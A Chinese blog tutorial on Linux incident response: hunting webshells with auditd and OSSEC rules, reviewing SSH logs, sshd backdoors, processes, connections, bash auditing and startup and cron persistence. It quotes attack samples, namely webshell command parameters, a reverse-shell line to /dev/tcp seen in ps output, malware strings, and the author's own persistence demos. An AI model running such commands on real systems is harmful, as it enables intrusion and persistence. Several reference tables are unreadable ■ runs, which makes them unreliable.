Linux应急响应姿势浅谈

vinc / 2017-09-22 03:48:00 / 浏览数 10804 技术文章 企业安全 顶(5) 踩(0)

一、前记

无论是甲方还是乙方的同学，应急响应可能都是家常便饭，你可能经常收到如下反馈：
运维同事 --> 服务器上存在可疑进程，系统资源占用高；
网络同事 --> 监控发现某台服务器对外大量发包；
....
不要着急，喝一杯82年的美年达压压惊，希望本文可以对你有所帮助。

二、排查流程

0x01 Web服务

一般如果网络边界做好控制，通常对外开放的仅是Web服务，那么需要先找到Webshell，可以通过如下途径：

1）检查最近创建的php、jsp文件和上传目录
例如要查找24小时内被修改的JSP文件：

> find ./ -mtime 0 -name "*.jsp"

2）使用Webshell查杀工具
 Windows下D盾等，Linux下河马等。

3）与测试环境目录做对比

> diff -r {生产dir} {测试dir}

4）创建Audit审计规则

```
vim /etc/audit/audit.rules
-a exclude,always -F msgtype=CONFIG_CHANGE
-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell
```

产生日志如下：

```
type=SYSCALL msg=audit(1505888691.301:898615): arch=c000003e syscall=59 success=yes exit=0 a0=ca5188 a1=cb5ec8 a2=cb5008 a3=8
type=EXECVE msg=audit(1505888691.301:898615): argc=1 a0="ls"
type=CWD msg=audit(1505888691.301:898615): cwd="/var/www/html/dvwa"
type=PATH msg=audit(1505888691.301:898615): item=0 name="/bin/ls" inode=2359385 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:0
type=PATH msg=audit(1505888691.301:898615): item=1 name=(null) inode=1441842 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 o
```

可以看到所在目录为/var/www/html/dvwa

具体Auditd的使用如下：

Auditd服务介绍

Auditd服务是Linux自带的审计系统，用来记录审计信息，从安全的角度可以用于对系统安全事件的监控。
Auditd服务的配置文件位于/etc/audit/audit.rules，其中每个规则和观察器必须单独在一行中。语法如下：

```
-a <list>,<action> <options>
```

<list>配置如下：</list>

```
task
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■(■■UID)■■■■■■■■■■■■■■
entry
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
exit
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
user
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■uid■auid■gid■pid■
exclude
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■msgtype■■■■■■■■■■■■■■■■■■■■■■
```

<action>配置如下：</action>

```
never
■■■■■■■■
always
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
```

<options>配置如下：</options>

```
-S <syscall>
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■all■■■■■■■■■
-F <name[=,!=,<,>,<=]value>
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■-F■■■■■■■■■64■■■■
■■■■■■■■
pid
■■ID■
ppid
■■■■■■ID■
uid
■■ID■
gid
■ID■
msgtype
■■■■■■■■■■■■■■■■■■■■
arch
■■■■■■■■■■■■■■■■■■■■■■■■■■i686(■■■■uname -m■■■■)■■■■b32■■■32■■■■■■■■■■b64■■■64■■■■■■■
...
```

编写测试Java命令监控规则

Jboss的启动账户为nobody，添加审计规则

```
# grep '\-a' /etc/audit/audit.rules
-a exclude,always -F msgtype=CONFIG_CHANGE
-a exit,always -F arch=b32 -F uid=99 -S execve -k webshell
```

重启服务

```
# service auditd restart
Stopping auditd: [ OK ]
Starting auditd: [ OK ]
```

使用webshell测试：
1）菜刀马测试
菜刀马传递的参数为

```
tom=M&z0=GB2312&z1=-c/bin/sh&z2=cd /;whoami;echo [S];pwd;echo [E]
```

所执行的程序如下：

```
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
```

审计日志如下：

```
type=EXECVE msg=audit(1500273887.809:7496): argc=3 a0="/bin/sh" a1="-c" a2=6364202F7765622F70726F6A6563742F7A616F6A69617379732
```

2）jspspy测试
jspspy传递的参数为

```
o=shell&type=command&command=netstat+-antlp&submit=Execute
```

所执行的程序如下：

```
String type = request.getParameter("type");
if (type.equals("command")) {
ins.get("vs").invoke(request,response,JSession);
out.println("<div style='margin:10px'><hr/>");
out.println("<pre>");
String command = request.getParameter("command");
if (!Util.isEmpty(command)) {
Process pro = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
```

```
String s = reader.readLine();
```

审计日志如下：

```
type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"
```

OSSEC监控配置

OSSEC本身已经包含了auditd事件的解码规则，例如：

```
<decoder name="auditd">
 <prematch>^type=</prematch>
</decoder>
.......
```

但是在RULES里面没有找到现成的规则，编辑local_rules.xml，新增

```
<group name="syslog,auditd,">
 <rule id="110000" level="0" noalert="1">
   <decoded_as>auditd</decoded_as>
   <description>AUDITD messages grouped.</description>
 </rule>
 <rule id="110001" level="10">
   <if_sid>110000</if_sid>
   <match>EXECVE</match>
   <description>Java execution command</description>
 </rule>
</group>
```

测试

```
[root@localhost ossec]# ./bin/ossec-logtest
2017/07/17 16:28:26 ossec-testrule: INFO: Reading local decoder file.
2017/07/17 16:28:26 ossec-testrule: INFO: Started (pid: 9463).
ossec-testrule: Type one log per line.

type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"


**Phase 1: Completed pre-decoding.
      full event: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'
      hostname: 'localhost'
      program_name: '(null)'
      log: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'

**Phase 2: Completed decoding.
      decoder: 'auditd'

**Phase 3: Completed filtering (rules).
      Rule id: '110001'
      Level: '10'
      Description: 'Java execution command'
**Alert to be generated.
```

然后在Agent端添加监控文件

```
<localfile>
   <log_format>syslog</log_format>
   <location>/var/log/audit/audit.log</location>
 </localfile>
```

然后jspspy执行系统命令，可以看到告警如下

```
[root@localhost ossec]# tail -f /var/ossec/logs/alerts/alerts.log
** Alert 1500280231.400419: mail  - syslog,auditd,
2017 Jul 17 16:30:31 (agent-31) 10.110.1.31->/var/log/audit/audit.log
Rule: 110001 (level 10) -> 'Java execution command'
type=EXECVE msg=audit(1500280229.507:7665): argc=1 a0="pwd"
```

这里还需考虑的一个问题是白名单，例如公司的一些站点本身就会调用视频处理的一些功能，也会调用系统命令。所以为了避免误报，需要新增一个白名单功能。这里我们修改一下local_rules.xml，新增白名单规则，并且放到EXECVE规则上面。

```
<group name="syslog,auditd,">
 <rule id="110000" level="0" noalert="1">
   <decoded_as>auditd</decoded_as>
   <description>AUDITD messages grouped.</description>
 </rule>
 <rule id="110001" level="0">
   <if_sid>110000</if_sid>
   <regex>whoami|passwd</regex>
   <description>Java execution white list</description>
 </rule>
 <rule id="110002" level="10">
   <if_sid>110000</if_sid>
   <match>EXECVE</match>
   <description>Java execution command</description>
 </rule>
</group>
```

如上所示，执行whoami和cat /etc/passwd的时候不会产生告警。

其他

如果没有通过上述途径找到Webshell，可以通过Access Log获取一些信息。
1）扫描特征
通常日志中会伴随一些其他攻击特征，例如可以用如下语句

```
egrep '(select|script|acunetix|sqlmap)' /var/log/httpd/access_log
```

2）访问频次
重点关注POST请求

```
grep 'POST' /var/log/httpd/access_log | awk '{print $1}' | sort | uniq -c | sort -nr
```

3）Content-Length
Content-Length过大的请求，例如过滤Content-Length大于5M的日志

```
awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log
```

注意
这里如果发现文件，不要直接用vim查看编辑文件内容，这样会更改文件的mtime，而对于应急响应来说，时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。

0x02 SSH服务

查看登录信息

登录成功：

```
grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
```

或者last命令，它会读取位于/var/log/wtmp的文件，并把该文件记录的登录系统的用户名单，全部显示出来。

登录失败：

```
grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
```

或者lastb命令，会读取位于/var/log/btmp的文件，并把该文件记录的登入系统失败的用户名单，全部显示出来。

检查SSH后门
1）比对ssh的版本

```
ssh -V
```

2）查看ssh配置文件和/usr/sbin/sshd的时间

```
stat /usr/sbin/sshd
```

3）strings检查/usr/sbin/sshd，看是否有邮箱信息
strings可以查看二进制文件中的字符串，在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息，通过strings /usr/sbin/sshd可以查看到邮箱信息。
4）通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件，可以通过strace进程跟踪到ssh登录密码文件。

```
ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4
```

0x03 进程

检查是否存在可疑进程，需要注意如果攻击者获取到了Root权限，被植入内核或者系统层Rootkit的话，进程也会隐藏。
1）资源占用
Top然后找到CPU和MEM排序
2）启动时间
可疑与前面找到的Webshell时间点比对。
3）启动权限
这点很重要，比如某次应急中发现木马进程都是mysql权限执行的，如下所示：

```
mysql 63763 45.3 0.0 12284 9616 ? R 01:18 470:54 ./db_temp/dazui.4
mysql 63765 0.0 0.0 12284 9616 ? S 01:18 0:01 ./db_temp/dazui.4
mysql 63766 0.0 0.0 12284 9616 ? S 01:18 0:37 ./db_temp/dazui.4
mysql 64100 45.2 0.0 12284 9616 ? R 01:20 469:07 ./db_temp/dazui.4
mysql 64101 0.0 0.0 12284 9616 ? S 01:20 0:01 ./db_temp/dazui.4
```

那基本可以判断是通过Mysql入侵，重点排查Mysql弱口令、UDF提权等。
4）父进程
例如我在菜刀中反弹Bash

```
[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grep
apache 26641 1014 0 14:59 ? 00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168
```

父进程进程号1014

```
[root@server120 html]# ps -ef | grep 1014
apache 1014 1011 0 Sep19 ? 00:00:00 /usr/sbin/httpd
```

可以看到父进程为apache，就可以判断攻击者通过Web入侵。

获取到可疑进程号之后，可疑使用lsof -p pid查看相关文件和路径。

例如之前遇到的十字病毒，会修改ps和netstat显示的进程名称

```
udp 0 0 0.0.0.0:49937 0.0.0.0:* 131683/ls -la
udp 0 0 0.0.0.0:47584 0.0.0.0:* 116515/ifconfig
```

使用lsof -p pid可以看到可执行文件

```
[root@DataNode105 admin]# lsof -p 131683
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
hahidjqzx 131683 root cwd DIR 8,98 4096 18087937 /root
hahidjqzx 131683 root rtd DIR 8,98 4096 2 /
hahidjqzx 131683 root txt REG 8,98 625622 24123895 /usr/bin/hahidjqzxs
```

可以文件类型可以使用file获取；

```
[root@server120 tmp]# file .zl
zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
```

对于二进制的文件可以使用strings读取可读字符

```
[root@server120 tmp]# strings .zl
rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr
/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex
netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m
> /dev/null
netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m
> /dev/null
```

例如之前应急遇到的命令替换，通过Strings查看发现有大量的IP地址。

```
[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'
8.8.8.8
8.8.4.4
```

```
8.8.8.8
61.132.163.68
202.102.192.68
202.102.213.68
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
```

0x04 网络连接

需要注意如果攻击者获取到了Root权限，被植入内核或者系统层Rootkit的话，连接是可以被隐藏的。

```
netstat -antlp | grep ESTABLISHED
```

查看已经建立的网络连接，例如反弹bash

```
[root@server120 html]# netstat -antlp | grep EST | grep bash
tcp 0 0 192.168.192.120:41320 192.168.192.144:2345 ESTABLISHED 26643/bash
```

```
netstat -antlp | grep LISTEN
```

检查可以监听端口，例如攻击者在本地开启sock5代理，然后使用SSH反弹sock5。

```
[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 26810/python
lsof -i:{port}
```

0x05 敏感目录

/tmp, /var/tmp, /dev/shm，所有用户都可读，可写，可执行

```
[root@server120 ~]# ls -ald /tmp/
drwxrwxrwt. 10 root root 4096 9■ 20 09:41 /tmp/
[root@server120 ~]# ls -ald /var/tmp/
drwxrwxrwt. 2 root root 4096 9■ 18 16:57 /var/tmp/
[root@server120 ~]# ls -ald /dev/shm
drwxrwxrwt. 3 root root 60 9■ 1 10:23 /dev/shm
```

0x06 history

默认的history仅记录执行的命令，然而这些对于应急来说是不够的，很多系统加固脚本会添加记录命令执行的时间，修改记录的最大条数。之前写的关于Bash审计方式也很
版本开始，Bash开始支持Rsyslog，

下载bash-4.4，下载地址： https://ftp.gnu.org/gnu/bash/

现在本机编译一份
1）修改bashhist.c：
修改771行

```
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, line
```

修改776行

```
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, trun
```

2）再修改config-top.h
去掉115行/**/
syslog的FACILITY为 user，日志级别为info
3）

```
./configure --prefix=/usr/local/bash && make && make install
```

将/usr/local/bash/bin/bash拷贝出来
备份线上服务器原/bin/bash

```
[root@localhost ~]# mv /bin/bash /bin/bashbak
```

RZ放到线上服务器
修改权限为755

4) 修改rsyslog配置，这里我们先输出到本地测试一下

```
[root@zaojiasys_31 admin]# touch /var/log/bash.log
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
```

添加user.info /var/log/bash.log

```
[root@zaojiasys_31 admin]# service rsyslog restart
[root@zaojiasys_31 admin]# tail -f /var/log/bash.log
Jul 25 16:22:15 localhost bash[18540]: PID=18540 UID=0 User=root Cmd=tail -f /var/log/bash.log
Jul 25 16:22:21 localhost bash[19033]: PID=19033 UID=0 User=root Cmd=whoami
```

5)
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
修改*.info;mail.none;authpriv.none;cron.none;local6.none;user.none /var/log/messages 添加user.none
添加user.info @10.110.1.33:3514

使用ELK，首先配置logstash

```
input {
   syslog{
       port => "3514"
       type => "bash"
   }
}

filter {
   grok{
       match => {
           "message" => "PID=%{NUMBER:processid} UID=%{NUMBER:uid} User=%{WORD:user} Cmd=%{GREEDYDATA:cmd}"
       }
   }
   date {
       match => ["timestamp", "MMM dd HH:mm:ss"]
       target => "@timestamp"
       "locale" => "en"
       timezone => "UTC"
   }
   mutate {
       remove_field => [ "message" ]
   }
}

output {
  if "_grokparsefailure" not in [tags] {
       elasticsearch {
           hosts => "10.110.1.33:9200"
           index => "bash_%{+YYYY.MM.dd}"
       }
   }
}
```

Elasticsearch 添加模板

```
curl -XPUT 10.59.0.248:9200/_template/template_bash -d '
{
  "template": "bash_*",
  "order" : 10,
  "settings" : {
     "number_of_shards": 5,
     "number_of_replicas": 0
  },
  "mappings" : {
   "_default_" : {
     "_all" : {"enabled" : true, "omit_norms" : true},
     "properties" : {
       "@timestamp": { "type": "date" },
       "host": { "type": "keyword"},
```

```
       "cmd": { "type": "keyword"},
       "user": { "type": "keyword"},
       "uid": { "type": "integer"},
       "processid": { "type": "integer"}
     }
   }
 }
}
```

查看Kibana

```
[root@server120 ~]# ll /bin/sh
lrwxrwxrwx. 1 root root 4 3■ 21 2016 /bin/sh -> bash
```

/bin/sh是软链到/bin/bash的，/bin/sh也可以审计到。
另外禁用其他的shell：

```
# chmod 750 /bin/csh
# chmod 750 /bin/tcsh
# chmod 750 /bin/dash
```

0x07 开机启动

在应急响应时，开机启动项是必查的项，下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。
RHEL5、RHEL6、RHEL7的init系统分别为sysvinit、upstart、systemd。这里CentOS7暂且不表，因为生产环境绝大部分都是CentOS6，少量的CentOS5。

CentOS 5：
init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别，执行系统初始化脚本（/etc/rc.d/rc.sysinit）,启动相

```
[root@jianshe_28 admin]# cat /etc/inittab
#
# inittab       This file describes how the INIT process should set up
#               the system in a certain run-level.
#
# Author:       Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
#               Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
#
id:3:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left.  Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"
```

```
# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"


# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon
```

inittab文件中的值都是如下格式：

id:runlevel:action:process

id：
id是指入口标识符，他是个字符串，对于getty、mingetty等，需求id和tty的编号相同，否则getty将不能正常工作。

runlevel：
指定runlevel的级别。能指定多个runlevel级别，也能不为runlevel字段指定特定的值。
运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6，具有不同的功能。不同的运行级定义如下：

```
# 0 - ■■■■■■■■initdefault■■■■0■■■■■■■■■■■■■
   # 1 - ■■■■■■
   # 2 - ■■■■■■■ NFS
   # 3 - ■■■■■■■■(■■■■■■■)
   # 4 - ■■■■■■
   # 5 - X11 ■x window)
   # 6 - ■■■■■
```

action：
定义了该进程应该运行在何种状态下，其中action常用的种类有：

```
wait■■■■■■■■■■■■process
   respawn■■process■■■■■■■■■■■■■
   initdefault■■■■■■■■■■■■process■■■
   sysinit■■■■■■■■■■■■■■■■■■■■■■/etc/rc.d/rc.sysinit
```

process：
包含init执行的进程

下面看一下具体的配置

id:3:initdefault:

设置runlevel

si::sysinit:/etc/rc.d/rc.sysinit

执行了/etc/rc.d/rc.sysinit，一个shell脚本，他主要是完成一些系统初始化的工作，例如激活交换分区，检查磁盘，加载硬件模块及其他一些需要优先执行任务。

```
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
```

/etc/rc.d/rc是个shell脚本，接受runlevel参数，去执行该runlevel目录下的所有的rc启动脚本。以启动级别为3为例，/etc/rc.d/rc3.d/其实都是一些链接文件，真正的rc启动

```
[root@localhost init.d]# ll /etc/rc.d/rc3.d/
lrwxrwxrwx. 1 root root 16 Jul 13 15:04 K01smartd -> ../init.d/smartd
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
.....
```

凡是以Kxx开头的，都以stop为参数来调用；凡是以Sxx开头的，都以start为参数来调用。xx是数字、表示的是启动顺序，按xx从小到大来执行。
我们来用chkconfig修改一下试试

```
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
[root@localhost rc3.d]# chkconfig auditd off --level 3
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx  1 root root 16 Jul 20 14:00 K88auditd -> ../init.d/auditd
```

另外说明一下应急响应中我们都会检查/etc/rc.local，其实也是在rcN.d中。
/etc/rc.local是软链到了/etc/rc.d/rc.local

```
[root@localhost init.d]# ll /etc/rc.local
lrwxrwxrwx. 1 root root 13 Jul 13 15:03 /etc/rc.local -> rc.d/rc.local
```

Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个

```
[root@localhost rc3.d]# ll /etc/rc.d/rc3.d/S99local
lrwxrwxrwx. 1 root root 11 Jul 13 15:03 /etc/rc.d/rc3.d/S99local -> ../rc.local
```

```
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
```

init接下来会打开6个终端，以便用户登录系统。

总结一下，针对CentOS5系统，需要排查的点：
1）/etc/inittab
该文件是可以运行process的，这里我们添加一行

0:235:once:/bin/vinc

内容如下

```
[root@localhost ~]# cat /bin/vinc
#!/bin/bash
cat /etc/issue > /tmp/version
```

重启

```
[root@localhost ~]# cat /tmp/version
CentOS release 5.5 (Final)
Kernel \r on an \m
```

2）/etc/rc.d/rc.sysinit
在最后插入一行/bin/vinc

```
[root@localhost ~]# ll /tmp/version
-rw-r--r-- 1 root root 47 11-05 10:10 /tmp/version
```

3）/etc/rc.d/init.d
4）/etc/rc.d/rc.local

CentOS 6：
init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab

```
[root@server120 src]# cat /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
```

```
#
# Default runlevel. The runlevels used are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
#
id:3:initdefault:
```

通过注释可以看到，upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效，其他的配置都移动到了/etc/init/*.conf下。
系统初始化/etc/init/rcS.conf
对应runlevel的服务启动/etc/init/rc.conf
终端配置/etc/init/tty.conf
....

总结一下，针对CentOS6系统，需要排查的点：
1）/etc/init/*.conf
vim tty.conf，添加一行

```
exec /bin/vinc
```

内容如下:

```
[root@vincenthostname init]# cat /bin/vinc
#!/bin/bash

touch /tmp/vinc
```

重启

```
[root@vincenthostname ~]# ll /tmp/vinc
-rw-r--r-- 1 root root 0 6■  22 15:07 /tmp/vinc
```

2）/etc/rc.d/rc.sysinit
3）/etc/rc.d/init.d
4）/etc/rc.d/rc.local

0x08 定时任务

在应急响应中，最重要的一个点就是定时任务，例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点：
一般常用的定时任务crontab -l是用户级别的，保存在/var/spool/cron/{user}，每个用户都可以通过crontab -e编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务，只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本，只需要放到/etc/cron.daily下，并且赋予执行权限即可。
那这些目录下的任务是怎么调用的？这里CentOS5和CentOS6还是有区别的。

CentOS5中：

```
[root@jianshe_28 /]# cat /etc/issue
CentOS release 5.8 (Final)
Kernel \r on an \m

[root@jianshe_28 /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
```

run-parts命令位于/usr/bin/run-parts，内容是很简单的一个shell脚本，就是遍历目标文件夹，执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron

```
[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
   anacron -u cron.daily
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
   anacron -u cron.weekly
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
   anacron -u cron.monthly
fi
```

这里就需要介绍一些/usr/sbin/anacron，anacron是干什么的？
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务，
而是以天为单位或者是在启动后立刻进行 anacron 的动作，他会去检查停机期间应该进行但是并没有进行的 crontab 任务，并将该任务运行一遍后，anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab

```
[root@jianshe_28 cron.daily]# cat /etc/anacrontab
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

1    65    cron.daily        run-parts /etc/cron.daily
7    70    cron.weekly        run-parts /etc/cron.weekly
30    75    cron.monthly        run-parts /etc/cron.monthly
```

具体含义如下：

period	delay	job-identifier	command
轮回天数	轮回内的重试时间	任务描述	命令
7	70	cron.weekly	run-parts /etc/cron.weekly

第一部分是轮回天数，即是指任务在多少天内执行一次，monthly 就是一个月（30天）内执行，weekly 即是在一周之内执行一次。

第二部分 delay 是指轮回内的重试时间，这个意思有两部分，一个是 anacron 启动以后该服务 ready 暂不运行的时间（周任务的 70 delay 在 anacron 启动后70分钟内不执行，而处于 ready 状态），另一个是指如果该任务到达运行时间后却因为某种原因没有执行（比如前一个服务还没有运行完成，anacron 在 /etc/init.d 的脚本中加了一个 -s 参数，便是指在前一个任务没有完成时不执行下一个任务），依然以周任务和月任务为例，周任务在启动 anacron 后的 70 分钟执行，月任务在服务启动后 75 分钟执行，但是，如果月任务到达服务启动后 75 分钟，可是周任务运行超过5分钟依然没有完成，那月任务将会进入下一个 75 分钟的轮回，在下一个 75 分钟时再检查周任务是否完成，如果前一个任务完成了那月任务开始运行。

第三部分 job-identifier ，anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier 为文件名的文件，里面记录着任务完成的时间，如果任务是第一次运行的话那这个文件应该是空的。anacron运行时，会去检查"/var/spool/anacron/这部分"文件中的内容

```
[root@localhost /]# cat /var/spool/anacron/cron.
cron.daily    cron.monthly  cron.weekly
[root@localhost /]# cat /var/spool/anacron/cron.*
20170719
20170713
20170713
```

根据这个日期判断下面的第四部分要不要执行。
比如说这里写的是cron.daily，然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话，那anancron执行后就行执行这一行对应第四行的动作。

第四部分最为简单，仅仅是你想运行的命令

/usr/sbin/anacron常用参数：

```
-s  ■■■■■■■■■■■■■ (job)■■■■■■■■■■■■■■■■■■■■■
-f  ■■■■■■■■■■■■■■■■■■■■■■■■
-n  ■■■■■■■■■■■■■■■■■ (delay) ■■■■■■
-u  ■■■■■■■■■■■■■■■■■■■■■■■■
```

所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了，所以这里只是通过anacron -u来记录了执行的时间。

CentOS6中：

```
[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m

[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
